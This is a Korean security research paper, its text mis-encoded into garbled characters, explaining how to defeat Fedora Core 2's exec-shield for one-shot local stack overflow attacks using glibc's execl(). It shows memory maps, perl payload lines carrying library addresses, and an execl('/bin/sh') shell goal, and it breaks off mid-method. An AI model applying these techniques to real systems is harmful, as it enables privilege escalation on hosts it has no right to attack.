FEDORA CORE2¿¡¼­ EXEC-SHIELD¸¦ ¿ìȸÇÏ¿© STACK ±â¹Ý OVERFLOW °ø°Ý ±â¹ý Çѹø¿¡ ¼º°øÇϱâ

 

 

by Beist Security Research Group
(http://beist.org)

Members of Beist Research Group : beist and anonymous people
Members of Beist Study Group : beist, dars21, obhacker, passion, p-jackpot, jacaranda, cina

 

 

¿ä¾à: FEDORA LINUX´Â ÇØÄ¿ÀÇ ½Ã½ºÅÛ ÇØÅ· °ø°ÝÀ» ¸·±â À§ÇØ EXEC-SHIELD¶ó´Â Ä¿³Î ±â¹ÝÀÇ º¸¾È ¼Ö·ç¼ÇÀ» Àû¿ëÇÏ°í ÀÖ´Ù. º» ¹®¼­´Â GLIBCÀÇ EXEC LIBRARY ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© EXEC-SHIELDÀÇ ¹æ¾î¸¦ ¿ìȸÇÏ´Â ¹æ¹ýÀ» ¼Ò°³ÇÏ°í ÀÖ´Ù. ±âÁ¸ ¹æ¹ýµéÀº ARGUMENT·Î »ç¿ëÇÒ °ªÀ» ÁÖ·Î STACK ¿µ¿ª¿¡¼­ ÀÌ¿ëÇÏ¿´´Âµ¥ º» ¹®¼­¿¡¼­´Â PROGRAM MEMORY MAPPING ¿µ¿ªÀÇ °ªÀ» »ç¿ëÇÏ¿´´Ù. °á·ÐÀûÀ¸·Î ÀÌ ¹®¼­¿¡¼­ »ç¿ëÇÏ´Â ¹æ¹ýÀ» ÀÌ¿ëÇÏ¸é °ø°ÝÀ» ¼öÇàÇϴµ¥ À־ ½ÇÆÐÇϰųª ȤÀº ¿©·¯ ¹øÀ» ½ÃµµÇÏÁö ¾Ê°í Çѹø¿¡ °ø°Ý¿¡ ¼º°øÇÒ ¼ö ÀÖ´Ù. ¶ÇÇÑ ÀÌ ¹æ¹ýÀº EXEC-SHIELD¿¡¸¸ Àû¿ëÇÒ ¼ö ÀÖ´Â °ÍÀº ¾Æ´Ï¸ç ´Ù¸¥ º¸¾È ¼Ö·ç¼Ç¿¡µµ °¡´ÉÇÏ´Ù. ¸¶Áö¸·À¸·Î º» ¹®¼­´Â STACK Overflow ±â¹ÝÀ» ´ë»óÀ¸·Î ½ÇÇèÇÏ¿´Áö¸¸ FRAME POINTER ¿µ¿ª°ú RETURN ADDRESSÀÇ ÁÖ¼Ò¸¦ Á¶ÀÛÇÏ´Â °ÍÀÌ °¡´ÉÇÏ´Ù¸é ´Ù¸¥ Á¾·ùÀÇ OVERFLOW °ø°Ý ±â¹ýÀ̳ª FORMAT STRING °ø°Ý ±â¹ý¿¡µµ Àû¿ë½Ãų¼ö ÀÖ´Ù.

 

 

 

 

 

 

1. °³¿ä, ¹®Á¦Á¡

 

Fedora´Â Redhat Linux¿Í ºñ½ÁÇÏÁö¸¸ ¾ö¹ÐÈ÷ µûÁö¸é ´Ù¸¥ Á¾·ùÀÇ Linux¶ó°í ÇÒ ¼ö ÀÖ´Ù. Fedora´Â RedhatÀÌ ÈÄ¿øÇÏ°í Ä¿¹Â´ÏƼ ¹æ½ÄÀ¸·Î À¯ÁöÇØ ³ª°¡´Â ¿ÀÇ ¼Ò½º ÇÁ·ÎÁ§Æ®ÀÌ´Ù. ±×·¡¼­ ±âÁ¸ÀÇ Redhat Linux¿Í´Â Â÷ÀÌÁ¡ÀÌ Á¸ÀçÇϴµ¥ ÇØÄ¿ÀÇ ÀÔÀå¿¡¼­ º¸¾ÒÀ» ¶§ °¡Àå Å©°Ô ¹Ù²ï Á¡Àº exec-shieldÀÇ Àû¿ëÀÌ´Ù. exec-shield´Â Ä¿³Î ±â¹ÝÀÇ º¸¾È ¼Ö·ç¼ÇÀ¸·Î½á Overflow³ª Format String °ø°Ý ±â¹ýÀ» ÀÌ¿ëÇÏ¿© ÇØÄ¿°¡ ¾ÇÀÇÀûÀÎ ÇàÀ§¸¦ ÇÒ¼ö ¾øµµ·Ï ¹æ¾îÇÑ´Ù. exec-shield´Â ÁÖ·Î ÇÁ·Î¼¼½º ¸Þ¸ð¸®¿¡ °ü·ÃµÈ º¸¾È MechanismÀ» ¼öÇàÇÑ´Ù.

½ÇÁ¦·Î, exec-shieldÀÇ Àû¿ëÀ¸·Î ÀÎÇØ ÇØÄ¿µéÀº Fedora¿¡¼­ Overflow Attack³ª Format String Attack °°Àº ±â¹ýÀ» ¼º°øÇϱⰡ Èûµé¾îÁ³´Ù. ±âÁ¸ÀÇ Linux ȯ°æ¿¡¼­´Â ¾ø¾ú´ø Á¦¾àµéÀÌ, exec-shield¿¡ Á¸ÀçÇϱ⠶§¹®ÀÌ´Ù. Fedora¿¡¼­ Overflow °ø°ÝÀ» ¼º°øÇϱⰡ ¾ÆÁÖ ºÒ°¡´ÉÇß´ø °ÍÀº ¾Æ´Ï¾úÀ¸³ª ´ëºÎºÐÀÇ °ø°Ý ±â¹ýµéÀÌ Á¦ÇÑµÈ »óȲ¿¡¼­¸¸ °¡´ÉÇÏ¿´´Ù. Áï °ø°Ý¿¡ ¼º°øÇϱⰡ ³Ê¹« Èûµé¾ú¾ú´Ù. ¿¹¸¦ µé¾î ÇØÄ¿´Â °ø°ÝÀ» ¼öÇàÇÒ ¶§ ÀÌ¿ëÇÒ ¸Þ¸ð¸®ÀÇ ÁÖ¼ÒµéÀ» brute force µîÀ» ÅëÇØ ¾ò¾î³»¾ß¸¸ ÇÏ´Â °æ¿ìµµ ÀÖ¾ú´Ù.

¿©±â¼­ ¼Ò°³ÇÏ´Â ¹æ¹ý ¿ª½Ã ¾ÆÁÖ ¿Ïº®ÇÑ ¹æ¹ýÀº ¾Æ´Ï´Ù. ÀÌ ¹®¼­´Â, ÇØÄ¿°¡ ÀÌ¿ëÇÏ°íÀÚ ÇÏ´Â ¸Þ¸ð¸®ÀÇ À§Ä¡¸¦ ¾Ë¾Æ³»±â À§ÇÏ¿© brute force µîÀ» ÇÒ ÇÊ¿ä ¾øÀÌ ÇÑ ¹ø¿¡ °ø°Ý¿¡ ¼º°øÇÏ´Â ±â¹ý¿¡ ´ëÇÑ ¼³¸íÀ» ¸ñÀûÀ¸·Î ÇÏ¿´´Ù. ±×·¯³ª ÀÌ ¹æ¹ýÀº LOCAL ȯ°æ¿¡¼­¸¸ °¡´ÉÇÏ°í REMOTE ȯ°æ¿¡¼­´Â Àû¿ëµÇÁö ¾Ê´Â´Ù´Â ´ÜÁ¡ÀÌ ÀÖ´Ù. ¶ÇÇÑ ÀÌ ¹®¼­´Â ÀϹÝÀûÀÎ Stack Overflow °ø°Ý ±â¹ýÀ» ¼³¸í ÇÒ °ÍÀÌÁö¸¸, ¼³¸íÇÏ´Â ¹æ¹ý·ÐÀ» ÀÀ¿ëÇÑ´Ù¸é ´Ù¸¥ Á¾·ùÀÇ Overflow ±â¹ýÀ̳ª Format String¿¡µµ Àû¿ë °¡´ÉÇÒ ¼ö ÀÖ´Ù.

¸ÕÀú, ±âÁ¸ÀÇ Redhat Linux¿Í Fedora´Â ¾î¶² Â÷ÀÌÁ¡ÀÌ ÀÖ´ÂÁö ¾Ë¾Æº¸°Ú´Ù. ¿©±â¼­´Â Redhat Linux 9.0 ¹öÀüÀ» ´ë»óÀ¸·Î Å×½ºÆ®ÇÏ¿´´Ù. LIBRARY¿Í STACK¿¡¼­ °¡Àå ¸¹Àº Â÷ÀÌÁ¡ÀÌ ÀÖ¾ú´Ù. PROGRAM TEXT SEGMENT ¿µ¿ª°ú PROGRAM DATA SEGMENT ¿µ¿ªÀ» Ãß°¡ÀûÀ¸·Î ¼³¸íÇÏ¿´´Âµ¥ ±× ÀÌÀ¯´Â ÀÌ ¹®¼­¿¡¼­ »ç¿ëÇÏ´Â ±â¹ýÀÌ ÀÌ ¿µ¿ªµé°úµµ °ü·ÃÀÌ µÇ¾î Àֱ⠶§¹®ÀÌ´Ù. ´ÙÀ½ Ç¥´Â ±âÁ¸ÀÇ Redhat Linux¿Í FedoraÀÇ Â÷À̸¦ Á¤¸®ÇÑ °ÍÀÌ´Ù. ¸Þ¸ð¸® ¸ÅÇÎÀº ÇÁ·Î±×·¥ÀÇ Å©±â³ª Á¾·ù¿¡ µû¶ó ´Þ¶óÁú¼ö Àִµ¥ ¿©±â¼­´Â ¾Æ·¡ÀÇ test.c¿Í °°ÀÌ ±âº»ÀûÀÎ ÇÁ·Î±×·¥À» ´ë»óÀ¸·Î ¾Ë¾Æº¸¾Ò´Ù.

 

--test.c--

int main(int argc, char *argv[])
{
return 0;
}

 

- ÇÁ·Î¼¼½º ¸Þ¸ð¸® ¸ÅÇÎ ±¸¼º Ç¥ -

  REDHAT LINUX 9.0 FEDORA CORE2
STACK ÃÖ»óÀ§ byte°¡ 0xbfÀ̸ç Á¤È®ÇÑ
À§Ä¡´Â ȯ°æ¿¡ µû¶ó °¡º¯ÀûÀÓ
ÃÖ»óÀ§ byte°¡ 0xfeÀ̸ç Á¤È®ÇÑ
À§Ä¡´Â ȯ°æ¿¡ µû¶ó °¡º¯ÀûÀÓ
LIBRARY

/lib/ld-2.3.2.so
0x40000000 - 0x40016fff

/lib/tls/libc-2.3.2.so
0x42000000 - 0x42132fff

/lib/ld-2.3.3.so
0x00415000 - 0x0042bfff

/lib/tls/libc-2.3.3.so
0x00432000 - 0x0054afff

ȤÀº libc-2.3.3.soÀÇ À§Ä¡°¡ ´ÙÀ½À¸·Î
¹Ù²ð ¼öµµ ÀÖ´Ù.

/lib/tls/libc-2.3.3.so
0x00111000 - 0x00229fff

Program Text Segment 0x8048000 - 0x8048fff 0x8048000 - 0x8048fff
Program Data Segment 0x8049000 - 0x8049fff 0x8049000 - 0x8049fff

 

- ÁÖ¿ä Ư¡ Ç¥ -

  Redhat Linux 9.0 Fedora Core2
Random Stack
O
O
None Exec Stack
X
O
Random Library
X
O
Library Address À§Ä¡
16mb ÀÌ»ó
16mb ¹Ì¸¸

 

(ÀÌ¿Ü¿¡µµ ¿©·¯ Â÷ÀÌÁ¡ÀÌ ´õ ÀÖÀ¸³ª ÀÌ ¹®¼­¿¡¼­´Â ÀÌ ¹®¼­¿¡¼­ Á¦½ÃÇÏ´Â ÇØÅ· ¹æ¹ý·Ð¿¡ °ü·ÃµÈ °Íµé¸¸ ´Ù·çµµ·Ï ÇÏ°Ú´Ù.)

´ÙÀ½Àº °¢ OSÀÇ /proc/PROCESS_ID/maps ÆÄÀÏÀ» Ãâ·ÂÇÑ °ÍÀÌ´Ù. (FedoraÀÇ °æ¿ì¿¡´Â ½ÇÇà½Ã¸¶´Ù ´Ù¸¥ °á°ú°¡ ³ª¿Ã¼öµµ ÀÖ´Ù.)

 

- Redhat Linux 9.0 -

08048000-08049000 r-xp 00000000 03:03 327863 /home/beist/bof/test
08049000-0804a000 rw-p 00000000 03:03 327863 /home/beist/bof/test
40000000-40015000 r-xp 00000000 03:03 9289731 /lib/ld-2.3.2.so
40015000-40016000 rw-p 00014000 03:03 9289731 /lib/ld-2.3.2.so
40016000-40017000 rw-p 00000000 00:00 0
42000000-4212e000 r-xp 00000000 03:03 5537796 /lib/tls/libc-2.3.2.so
4212e000-42131000 rw-p 0012e000 03:03 5537796 /lib/tls/libc-2.3.2.so
42131000-42133000 rw-p 00000000 00:00 0
bfffd000-c0000000 rwxp ffffe000 00:00 0

- Fedora Core2 -

00415000-0042a000 r-xp 00000000 08:05 860870 /lib/ld-2.3.3.so
0042a000-0042b000 r--p 00014000 08:05 860870 /lib/ld-2.3.3.so
0042b000-0042c000 rw-p 00015000 08:05 860870 /lib/ld-2.3.3.so
00432000-00547000 r-xp 00000000 08:05 860888 /lib/tls/libc-2.3.3.so
00547000-00549000 r--p 00115000 08:05 860888 /lib/tls/libc-2.3.3.so
00549000-0054b000 rw-p 00117000 08:05 860888 /lib/tls/libc-2.3.3.so
0054b000-0054d000 rw-p 00000000 00:00 0
00cdd000-00cde000 r-xp 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:05 872237 /home/beist/bof/test
08049000-0804a000 rw-p 00000000 08:05 872237 /home/beist/bof/test
f7049000-f704a000 rw-p 00000000 00:00 0
fef2b000-ff000000 rw-p fff43000 00:00 0
ffffd000-ffffe000 ---p 00000000 00:00 0

 

ÀÌ Áß¿¡¼­ Fedora¿¡¼­ ´Þ¶óÁø °¢ ¿µ¿ª¿¡ ´ëÇÑ ºÎ°¡ ¼³¸íÀ» ÇÏ°Ú´Ù.

- Stack

Fedora ¿î¿µÃ¼Á¦ÀÇ StackÀº Random StackÀ̶ó´Â °Í ÀÌ¿Ü¿¡, 2 °¡Áö »çÇ×ÀÌ ´õ Ãß°¡µÇ¾ú´Ù. (1) ±âÁ¸ÀÇ Redhat Linux¿Í ´Ù¸¥ ÁÖ¼Ò ¹üÀ§¸¦ »ç¿ëÇÏ°í ÀÖ°í, (2) Stack ¿µ¿ª¿¡¼­ÀÇ ½ÇÇàÀÌ ±ÝÁöµÇ¾ú´Ù. ÁÖ¼Ò ¹üÀ§°¡ ´Ù¸£´Ù´Â °ÍÀº ÇØÄ¿¿¡°Ô Å« ºÒ¸®ÇÔÀÌ µÇÁö ¾Ê´Â´Ù. ÀÌÀ¯´Â Library ¿µ¿ªÃ³·³ ¸Þ¸ð¸®ÀÇ 16mb ¹Ì¸¸ ÁÖ¼Ò¿¡ StackÀÌ ¸ÅÇεǾî ÀÖ´Ù¸é Null ¹®ÀÚ ÀÔ·Â ºÒ°¡ µîÀÇ Á¦¾àÀ¸·Î ÀÎÇØ ºÒ¸®ÇÒ¼öµµ ÀÖÁö¸¸, ±×·¸Áö ¾Ê±â ¶§¹®¿¡ Á¤»óÀûÀ¸·Î µ¥ÀÌÅ͸¦ ÀÔ·ÂÇÏ´Â °ÍÀº ºÒÆíÇÔÀÌ ¾ø´Â À§Ä¡ÀÌ´Ù. ±×·¯³ª Random StackÀº ÇØÄ¿¿¡°Ô ¹®Á¦°¡ µÇ´Â ºÎºÐÀÌ´Ù. Stack ¿µ¿ª¿¡¼­ µ¥ÀÌÅ͸¦ ÂüÁ¶ÇÏ·ÁÇÒ ¶§³ª ÇØÄ¿°¡ ¿Ã·Á ³õÀº ÄÚµåÀÇ À§Ä¡¸¦ ã´Âµ¥ ¾î·Æ±â ¶§¹®ÀÌ´Ù. ¶ÇÇÑ ´õ Å« ¹®Á¦´Â ¼³·É ÄÚµåÀÇ À§Ä¡¸¦ ã¾Ò´Ù°í ÇÏ´õ¶óµµ ½ÇÇà ¼Ó¼ºÀÌ ºÎ¿©µÇ¾î ÀÖÁö ¾ÊÀº ¿µ¿ªÀ̱⠶§¹®¿¡ ½ÇÇàÀ» ÇÒ¼ö°¡ ¾ø´Ù. ±×·¸Áö¸¸, read³ª write´Â °¡´ÉÇϱ⠶§¹®¿¡ Á¤È®ÇÑ À§Ä¡¸¸ ¾Ë°í ÀÖ´Ù¸é µ¥ÀÌÅÍÀÇ Àб⳪ ÂüÁ¶´Â °¡´ÉÇÏ´Ù.

- Library

Library ¿µ¿ªÀÇ Random MappingÀÇ °æ¿ì¿£ Å©°Ô ½Å°æ¾²Áö ¾Ê¾Æµµ µÈ´Ù. (Å©°Ô ½Å°æ¾²Áö ¾Ê¾Æµµ
µÈ´Ù°í »ý°¢ÇÏ´Â °ÍÀº ³» °³ÀÎÀûÀÎ ÀÇ°ßÀÌ´Ù.) ¿Ö³ÄÇϸé Random MappingÀ̶ó°í Çصµ MappingµÉ ¿µ¿ªÀÌ ÇÑÁ¤ µÇ¾î¼­ Àß º¯ÇÏÁö ¾Ê±â ¶§¹®ÀÌ´Ù. ±×°Íº¸´Ù´Â Mapping µÇ´Â ¿µ¿ªÀÌ ¸Þ¸ð¸® ÁÖ¼Ò »ó¿¡¼­ 16mb ¹Ì¸¸À̶ó´Â °ÍÀÌ ÇØÄ¿¿¡°Ô ´õ ¹®Á¦°¡ µÈ´Ù. 32bit ÁÖ¼Ò Ã¼°è¿¡¼­ 16mb ¹Ì¸¸Àº 0x00000000 ~ 0x00ffffff ±îÁöÀÇ ÁÖ¼Ò °ªÀ» °®´Â´Ù. ÀÌ°ÍÀº ÇØÄ¿¿¡°Ô Å« ºÒ¸®ÇÔÀε¥, Linux¿¡¼­ ÀÎÀÚ µîÀÇ µ¥ÀÌÅ͸¦ ÀÔ·ÂÇÒ ¶§ ¹®Á¦°¡ µÇ±â ¶§¹®ÀÌ´Ù. NULL byte, Áï 0x00 byte°¡ ³ª¿À¸é µ¥ÀÌÅÍÀÇ ³¡ (Á¤È®È÷´Â ¹®ÀÚ¿­ÀÇ ³¡) À̶ó ÆÇ´ÜÇϱ⠶§¹®¿¡ ±× ÀÌÈÄÀÇ ÀÔ·ÂÀÌ µÇÁö ¾Ê±â ¶§¹®ÀÌ´Ù. (±× ÀÌÈÄÀÇ ÀÔ·ÂÀ» ÇÏÁö ¸øÇÒ¶§ÀÇ ºÒ¸®ÇÔ¿¡ ´ëÇؼ­´Â µû·Î ¼³¸íÇÏÁö ¾Ê°Ú´Ù.) ±×·¡¼­ 16mb ¹Ì¸¸ÀÇ ¸Þ¸ð¸® mappingÀº ÇØÄ¿¿¡°Ô ¸¹Àº Á¦ÇÑ »çÇ×À̶ó ÇÒ ¼ö ÀÖ´Ù. Random Mapping, 16mb ¹Ì¸¸ MappingÀ» Á¦¿ÜÇÏ°í´Â ±âÁ¸ÀÇ Redhat Linux¿Í Å« Â÷ÀÌÁ¡ÀÌ ¾ø´Ù°í ÇÒ ¼ö ÀÖ´Ù.

- PROGRAM TEXT SEGMENT

Program Segment¿¡¼­ TEXT ¿µ¿ªÀº ÇÁ·Î±×·¥ÀÇ ½ÇÇà °¡´ÉÇÑ Äڵ带 MappingÇÑ ¿µ¿ªÀ» ¸»ÇÑ´Ù. ´ç¿¬È÷ ÀÌ ¿µ¿ªÀº ÇÁ·Î±×·¥ÀÌ ±¸µ¿µÉ¶§ ÂüÁ¶ÇÏ°í ¶Ç ½ÇÇàµÇ¾î¾ßÇÒ ¿µ¿ªÀ̱⠶§¹®¿¡ ½ÇÇà ¼Ó¼ºÀÌ Æ÷ÇÔµÈ »óÅÂÀÌ´Ù.

- PROGRAM DATA SEGMENT

ÀÌ ¿µ¿ªÀº DATA SegmentÀÌ´Ù. ÀÌ ¿µ¿ªÀº ºñ·Ï ½ÇÇà ±ÇÇÑÀº ¾øÁö¸¸ read ȤÀº write°¡ °¡´ÉÇÏ´Ù. Áï, ÀÌ ¸Þ¸ð¸® ¿µ¿ªÀº ÇØÄ¿°¡ ÂüÁ¶Çϱâ À§ÇØ Àаųª ¾Æ´Ï¸é »õ·Î¿î ³»¿ëÀ¸·Î µ¤¾î¾º¿ì´Â °ÍÀÌ °¡´ÉÇÏ´Ù´Â À̾߱âÀÌ´Ù.

 

°³¿ä¿¡¼­ ´Ù·é ³»¿ëÀ» °á·Ð ÁþÀÚ¸é FedoraÀÇ exec-shield´Â ÇØÄ¿°¡ Overflow °ø°ÝÀ» ¼º°øÇϱ⿡ »ó´çÈ÷ ±î´Ù·Î¿î Á¶°ÇÀ̶ó ÇÒ ¼ö ÀÖ´Ù. °ø°³µÈ Overflow °ø°Ý ±â¹ýµéÀº ´ëºÎºÐ ¸ÔÈ÷Áö ¾Ê´Â´Ù. ¸î °¡Áö ¿¹¸¦ µé¾îº¸°Ú´Ù. (¼³¸í¿¡ ÇÊ¿äÇÑ ±âÃÊ Áö½ÄÀº ¾î´À Á¤µµ »ý·«ÇÏ¿´´Ù.)

 

(1) ¿©·¯ °³ÀÇ Library¸¦ µ¿½Ã¿¡ »ç¿ëÇÏ¿© °ø°ÝÇÏ´Â ¹æ¹ý

°ø°Ý ÄÚµåÀÇ ¸¶Áö¸·¿¡ Library ÇÔ¼ö ÁÖ¼Ò¸¦ ³Ö´Â °ÍÀº ¹®Á¦°¡ µÇÁö ¾Ê´Â´Ù. ±×·¯³ª ¿©·¯ ÇÔ¼ö¸¦ µ¿½Ã¿¡ »ç¿ëÇÏ¿© °ø°ÝÇÒ ¶§´Â ¹®Á¦°¡ µÇ´Âµ¥, ÇÔ¼öÀÇ ÁÖ¼Ò¿¡ Æ÷ÇԵǾî ÀÖ´Â NULL byte°¡ ¹®Á¦ ¶§¹®ÀÌ´Ù. ¹®Á¦°¡ µÇ´Â °æ¿ì¸¦ ¼³¸íÇϱâ À§ÇØ ´ÙÀ½°ú °°Àº µÎ ÇÔ¼ö¸¦ ¿¹·Î µé°Ú´Ù. ´ÙÀ½ µÎ ÇÔ¼ö´Â ÇØÄ¿°¡ °ø°ÝÇÒ ¶§ »ç¿ëÇÏ·Á ÇÏ´Â ÇÔ¼öµéÀÌ¶ó °¡Á¤ÇÑ´Ù.

function A() address : 0x00405060
function B() address : 0x00406070

¿Í °°Àº »óȲÀÏ ¶§ ÇØÄ¿´Â ´ÙÀ½°ú °°ÀÌ °ø°ÝÇÒ ¼ö ÀÖ´Ù.

$ target `perl -e 'print "aaaabbbb\x60\x50\x40\x00cccc\x70\x60\x40\x00"'`

À§¿Í °°ÀÌ ÀÔ·Â ÇؾßÇϴµ¥ Áß°£¿¡ \x00 (NULL byte)°¡ Æ÷ÇԵǾîÀֱ⠶§¹®¿¡ ÀÔ·ÂÀÌ ¿Ï¼ºµÇÁö ¾Ê´Â´Ù. ±×·¯³ª 16mb ¹Ì¸¸ÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ °®´Â À§Ä¡¶ó Çصµ ÇÔ¼ö¸¦ ¸¶Áö¸·¿¡ Çѹø¸¸ »ç¿ëÇÒ °æ¿ì¿¡´Â ¹®Á¦°¡ µÇÁö ¾Ê´Â´Ù. ´ÙÀ½ÀÇ °æ¿ì¿¡´Â ¹®Á¦°¡ ¾ø´Ù.

$ target `perl -e 'print "aaaabbbb\x60\x50\x40""`

(À̶§ ¸¶Áö¸· ¹ÙÀÌÆ®´Â ÀÔ·ÂÀ» »ý·«Çصµ »ó°ü¾ø´Ù.)

(2) Stack ¿µ¿ªÀ» ½ÇÇàÇÏ´Â ¹æ¹ý

Stack ¿µ¿ªÀÇ ¸Þ¸ð¸®´Â Äڵ带 ½ÇÇàÇÏÁö ¸øÇϱ⠶§¹®¿¡ ¿©·¯ Á¦¾à »çÇ×ÀÌ ¸¹´Ù. ½ÇÇàÀÌ ¾Æ´Ï¶ó ´Ü¼øÈ÷ ÂüÁ¶¸¦ À§ÇÑ ÀÛ¾÷µµ ¿ì¸®°¡ ¿øÇÏ´Â µ¥ÀÌÅÍÀÇ ¸Þ¸ð¸® À§Ä¡¸¦ Á¤È®È÷ ¾Ë¾Æ¾ß Çϱ⠶§¹®¿¡ brute force°¡ ÇÊ¿äÇÒ ¶§µµ ÀÖ´Ù.

(3) ÇϳªÀÇ Library ÇÔ¼ö¸¸ ÀÌ¿ëÇÏ´Â ¹æ¹ý

°¡²û ¾î¶² Library ÇÔ¼öÀÇ °æ¿ì¿¡´Â ¿©·¯ °³ÀÇ ÇÔ¼ö È£Ãâ ÀÛ¾÷ ¾øÀÌ, ´Ü Çϳª¸¸ÀÇ »ç¿ëÀ¸·Îµµ SHELLÀ» ȹµæÇÒ ¼ö ÀÖ´Â °æ¿ìµµ Àִµ¥, ÀÌ °æ¿ì ÇÔ¼öÀÇ ¸Å°³ º¯¼ö¸¦ ÁöÁ¤Çϱâ À§ÇØ º¸Åë Stack ¿µ¿ªÀ» »ç¿ëÇÑ´Ù. ±×·¯³ª Stack ¿µ¿ªÀº RandomÈ­ µÇ°í, ¶Ç RandomÈ­ µÇ´Â ¿µ¿ªÀÌ Å©±â ¶§¹®¿¡ ¸Å°³ º¯¼öÀÇ À§Ä¡¸¦ Á¤È®È÷ ã±â°¡ Èûµé´Ù.

 

 

 

 

 

2. ¹æ¹ý·Ð

 

¸ÕÀú, °³¿äÀÇ °á·ÐµéÀ» Á¤¸®Çغ¸ÀÚ¸é ÇØÄ¿´Â °ø°Ý ½Ã, return address¿¡¼­ óÀ½À¸·Î À̵¿ÇÒ Àå¼Ò·Î StackÀ» ¼±ÅÃÇÒ ¼ö ¾ø´Ù. ¿Ö³ÄÇÏ¸é ½ÇÇà ¼Ó¼ºÀÌ ¾ø±â ¶§¹®ÀÌ´Ù. °á±¹ óÀ½ ÀÌ¿ëÇؾßÇÒ Àå¼Ò´Â Library ¿µ¿ªÀ̾î¾ß ÇÑ´Ù. ³ªÁß¿¡ ´Ù½Ã Stack ¿µ¿ªÀ» ÀÌ¿ëÇÏµç ´Ù¸¥ ¿µ¿ªÀ» ÀÌ¿ëÇϵç óÀ½¿¡´Â ¹Ýµå½Ã ½ÇÇà °¡´ÉÇÑ Àå¼ÒÀÎ Library ¿µ¿ªÀ̾î¾ß ÇÑ´Ù. (ȤÀº Program Text ¿µ¿ªÀ» ÁöÁ¤ÇÒ ¼öµµ ÀÖ°ÚÁö¸¸ ÀÌ ¹®¼­´Â Library ¿µ¿ªÀ» ´ë»óÀ¸·Î ¼³¸íÇÑ´Ù.) ¿©±â¼­´Â Overflow °ø°ÝÀ» ÇÒ¶§ °¡Àå À¯¿ëÇÑ ÇÔ¼ö Áß¿¡ ÇϳªÀÎ execl() ÇÔ¼ö¸¦ ÀÌ¿ëÇÒ °ÍÀÌ´Ù. (execl ÇÔ¼ö´Â ³»ºÎÀûÀ¸·Î execve() system callÀ» È£ÃâÇÑ´Ù.) execl()ÀÇ ¿øÇüÀº ´ÙÀ½°ú °°´Ù.

int execl( const char *path, const char *arg, ...);

¸ÕÀú, execl¿¡ ´ëÇÑ °ø°Ý¹ýÀ» Á¤È®ÇÏ°Ô ¼÷ÁöÇϱ⠹ٶõ´Ù. ÀÌ ¹æ¹ýÀº vangelis´Ô°ú loafers´ÔÀÌ ¾²½Å ±Û¿¡ »ó¼¼È÷ ¼³¸í µÇ¾î ÀÖ´Ù.

±×·¯³ª ±âÁ¸ÀÇ execl()À» »ç¿ëÇÑ ¹æ¹ýÀº ±âÁ¸ÀÇ Redhat Linux¿¡¼­´Â º° ¹®Á¦ ¾øÀÌ Àû¿ëµÉ¼ö ÀÖÀ¸³ª Fedora ¿î¿µÃ¼Á¦¿¡ Àû¿ëÇϱâ´Â ¹®Á¦°¡ ÀÖ´Ù. ¿Ö³ÄÇÏ¸é ±âÁ¸ÀÇ execl() ÇÔ¼ö¿¡¼­ »ç¿ëÇÏ´Â argument´Â Stack ¿µ¿ªÀÇ µ¥ÀÌÅ͸¦ ÂüÁ¶Çϴµ¥ FedoraÀÇ StackÀº RandomÇÏ°Ô MappingµÇ±â ¶§¹®ÀÌ´Ù. ¸¸¾à, ƯÁ¤ µ¥ÀÌÅÍ¿¡ ´ëÇÑ ÂüÁ¶°¡ ¾Æ´Ï¶ó ½ÇÇàÀ» Çϱâ À§Çؼ­¶ó¸é NOP Äڵ带 ¸¹ÀÌ »ç¿ëÇÏ¿© À§Ä¡¸¦ ãÀ» È®·üÀ» ³ôÀÌ¸é µÇ°ÚÁö¸¸, ÀÌ °æ¿ì´Â ½ÇÇàÀÌ ¾Æ´Ï¶ó ÂüÁ¶À̱⠶§¹®¿¡, »ç¿ëÇÏ°íÀÚ ÇÏ´Â ¿µ¿ªÀ» Á¤È®ÇÏ°Ô ¾Ë°í ÀÖ¾î¾ß¸¸ ÇÑ´Ù.

±×·¸±â ¶§¹®¿¡ °ø°ÝÀ» ÇÑ ¹ø¿¡ ¼º°øÇϱâ À§Çؼ­´Â Stack°ú °°ÀÌ RandomÇÏ°Ô MappingµÇ´Â ¿µ¿ªÀÌ ¾Æ´Ï¶ó °íÁ¤µÈ °ªÀ» °®´Â ¿µ¿ªÀ» ÀÌ¿ëÇØ¾ß ÇÑ´Ù. ÇÁ·Î¼¼½ºÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¿¡´Â ´Ù¾çÇÑ ¿µ¿ª°ú °ªµéÀÌ Á¸ÀçÇÏÁö¸¸ ÀÌ ¸ðµç °ÍµéÀÌ ÇØÄ¿¿¡°Ô ÀÌ¿ëµÉ ¼ö ÀÖ´Â °ÍÀº ¾Æ´Ï´Ù. ¸Å°³ º¯¼ö¿¡ »ç¿ëÇϱâ À§Çؼ­´Â ´ÙÀ½ Á¶°ÇÀ» ¸¸Á·ÇØ¾ß ÇÑ´Ù.

(1) execl() ÇÔ¼öÀÇ ¸Å°³ º¯¼ö Çü½Ä¿¡ ¸Â´Â °ªÀ̾î¾ß ÇÔ

execl() ÇÔ¼ö ¿øÇü¿¡¼­ º¸¾ÒµíÀÌ °ø°Ý ½Ã¿¡´Â ´ÙÀ½ÀÇ ¿¹¿Í °°ÀÌ ÃÖ¼ÒÇÑ 3°³ ÀÌ»óÀÇ ÀÎÀÚ¸¦ °¡Á®¾ß ÇÑ´Ù.

ex) execl("/bin/sh", "sh", NULL);

Áï, ¸Þ¸ð¸®¿¡ À§Ä¡ÇÏ´Â ÃÖ¼Ò 12 byteÀÇ ¿¬¼ÓµÈ µ¥ÀÌÅ͵é Áß¿¡, ù¹ø° 4¹ÙÀÌÆ®´Â ƯÁ¤ ¹®ÀÚ¿­À» °¡¸®Å°°í ÀÖ´Â Æ÷ÀÎÅÍ¿©¾ßÇϸç, µÎ¹ø° ¿ª½Ã ¸¶Âù°¡Áö´Ù. ¼¼¹ø° °ªÀº 0x00000000 Áï, NULL °ªÀ̾î¾ß ÇÑ´Ù. ²À À§¿Í ¶È°°Àº °æ¿ìÀÇ 12 byte ¿µ¿ªÀ» ãÀ» ÇÊ¿ä´Â ¾ø´Ù. Áï, execl() ÇÔ¼ö´Â ÃÖ¼ÒÇÑÀÇ ¸Å°³ º¯¼ö·Î 3°³¸¦ ¿ä±¸ÇÏ´Â °ÍÀÌ°í ±× ÀÌ»óÀº °¡º¯ÀûÀ̱⠶§¹®¿¡ ¸Å°³ º¯¼ö°¡ 4°³, 5°³ ÀÌ»óÀ̾ 